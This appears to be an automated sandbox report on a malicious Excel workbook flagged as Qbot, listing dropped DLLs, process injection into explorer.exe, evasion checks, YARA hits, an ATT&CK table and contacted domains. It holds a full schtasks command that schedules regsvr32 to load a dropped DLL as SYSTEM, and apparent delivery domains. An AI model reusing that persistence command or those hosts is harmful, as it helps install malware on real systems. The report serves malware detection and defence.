Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D2C5E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D2CB9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D2D0C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push 00000000h; mov dword ptr [esp], edx	3_2_010D2D66
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D2E44
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push 00000000h; mov dword ptr [esp], ebp	3_2_010D2E4F
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push 00000000h; mov dword ptr [esp], edi	3_2_010D2F19
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D2F40
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D3032
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D316F
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D31B4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D3268
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push 00000000h; mov dword ptr [esp], ecx	3_2_010D32F8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push 00000000h; mov dword ptr [esp], eax	3_2_010D3345
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D343B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D35D6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D35E2
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D3682
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D36C1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D3724
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D376D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D37A9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D37B5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D37E7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D3868
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D38D3
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D38DF
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D3919

Persistence and Installation Behavior:

Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\gihi1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\gihi2.dll	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\ka[1].htm	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\ka[1].htm	Jump to dropped file

Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\gihi1.dll			Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\gihi2.dll			Jump to dropped file

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\ka[1].htm			Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\ka[1].htm			Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\gihi1.dll			Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\gihi2.dll			Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\SysWOW64\explorer.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn wtdsqwcv /tr 'regsvr32.exe -s \'C:\Users\user\gihi1.dll\'' /SC ONCE /Z /ST 20:54 /ET 21:06

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_10002297 StartServiceCtrlDispatcherA,

3_2_10002297

Hooking and other Techniques for Hiding and Protection:

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 5800 base: 136F380 value: E9 83 38 D9 FF			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 7024 base: 136F380 value: E9 83 38 2F FF			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to evade analysis by execution special instruction which cause usermode exception

Show sources

Source: C:\Windows\SysWOW64\WerFault.exe

Special instruction interceptor: First address: 0000000066AA11EF instructions 0FC7C8 caused by: Known instruction #UD exception

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\ka[1].htm			Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\ka[1].htm			Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_3-15162

Source: C:\Windows\SysWOW64\regsvr32.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_3-12586
Source: C:\Windows\SysWOW64\explorer.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_4-11872

Source: C:\Windows\SysWOW64\regsvr32.exe TID: 6272	Thread sleep count: 128 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5804	Thread sleep time: -112000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 6536	Thread sleep count: 131 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 7084	Thread sleep count: 70 > 30	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_1000BB22 FindFirstFileW,FindNextFileW,

3_2_1000BB22

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_1000EB53 GetCurrentProcessId,GetTickCount,GetModuleFileNameW,GetCurrentProcess,LookupAccountSidW,GetLastError,GetSystemMetrics,GetModuleFileNameW,GetLastError,MultiByteToWideChar,GetCurrentProcess,GetCurrentProcess,memset,GetVersionExA,GetCurrentProcess,GetSystemInfo,GetWindowsDirectoryW,

3_2_1000EB53

Source: WerFault.exe, 0000000F.00000002.729755635.0000000003D60000.00000002.00000001.sdmp, WerFault.exe, 0000001F.00000002.956241658.00000000036C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: WerFault.exe, 0000000F.00000002.729755635.0000000003D60000.00000002.00000001.sdmp, WerFault.exe, 0000001F.00000002.956241658.00000000036C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: WerFault.exe, 0000000F.00000002.729755635.0000000003D60000.00000002.00000001.sdmp, WerFault.exe, 0000001F.00000002.956241658.00000000036C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: WerFault.exe, 0000000F.00000002.729755635.0000000003D60000.00000002.00000001.sdmp, WerFault.exe, 0000001F.00000002.956241658.00000000036C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\SysWOW64\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_1000E5F3 LoadLibraryA,GetProcAddress,

3_2_1000E5F3

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_010D1000 push dword ptr fs:[00000030h]

3_2_010D1000

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 4_2_01102A6B RtlAddVectoredExceptionHandler,

4_2_01102A6B

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: 1130000 protect: page read and write			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: 690000 protect: page read and write			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 5800 base: 1130000 value: 9C	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 5800 base: 136F380 value: E9	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 7024 base: 690000 value: 9C	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 7024 base: 136F380 value: E9	Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write			Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 1130000	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 136F380	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 690000	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 136F380	Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe			Jump to behavior

Source: explorer.exe, 00000004.00000002.975069600.0000000003F00000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000004.00000002.975069600.0000000003F00000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000002.975069600.0000000003F00000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000002.975069600.0000000003F00000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_1000B036 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

3_2_1000B036

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_1001354E LookupAccountNameW,LookupAccountNameW,LookupAccountNameW,

3_2_1001354E

Source: C:\Windows\SysWOW64\regsvr32.exe

3_2_1000EB53

Stealing of Sensitive Information:

Yara detected Qbot

Show sources

Source: Yara match	File source: 00000006.00000002.711643542.0000000000F30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.700614054.0000000001120000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.regsvr32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.explorer.exe.1100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1120000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.f30000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.f30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1120000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explorer.exe.660000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Qbot

Show sources

Source: Yara match	File source: 00000006.00000002.711643542.0000000000F30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.700614054.0000000001120000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.regsvr32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.explorer.exe.1100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1120000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.f30000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.f30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.1120000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explorer.exe.660000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting2	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	Credential API Hooking1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API3	Windows Service3	Windows Service3	Scripting2	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Credential API Hooking1	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution43	Scheduled Task/Job1	Process Injection412	Obfuscated Files or Information1	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Scheduled Task/Job1	Logon Script (Mac)	Scheduled Task/Job1	Software Packing1	NTDS	System Information Discovery115	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution2	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Security Software Discovery111	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading131	Cached Domain Credentials	Virtualization/Sandbox Evasion2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion2	DCSync	Process Discovery3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection412	Proc Filesystem	System Owner/User Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Regsvr321	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
plan-1053707320.xlsb	26%	Virustotal		Browse
plan-1053707320.xlsb	28%	ReversingLabs	Document-Excel.Downloader.EncDoc

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\ka[1].htm	100%	Joe Sandbox ML
C:\Users\user\gihi1.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\ka[1].htm	100%	Joe Sandbox ML
C:\Users\user\gihi2.dll	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.2.regsvr32.exe.10000000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen3	Download File
4.2.explorer.exe.1100000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen3	Download File
3.2.regsvr32.exe.10000000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen3	Download File
13.2.explorer.exe.660000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen3	Download File

Domains

Source	Detection	Scanner	Label	Link
carpascapital.com	2%	Virustotal		Browse
gruasphenbogota.com	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
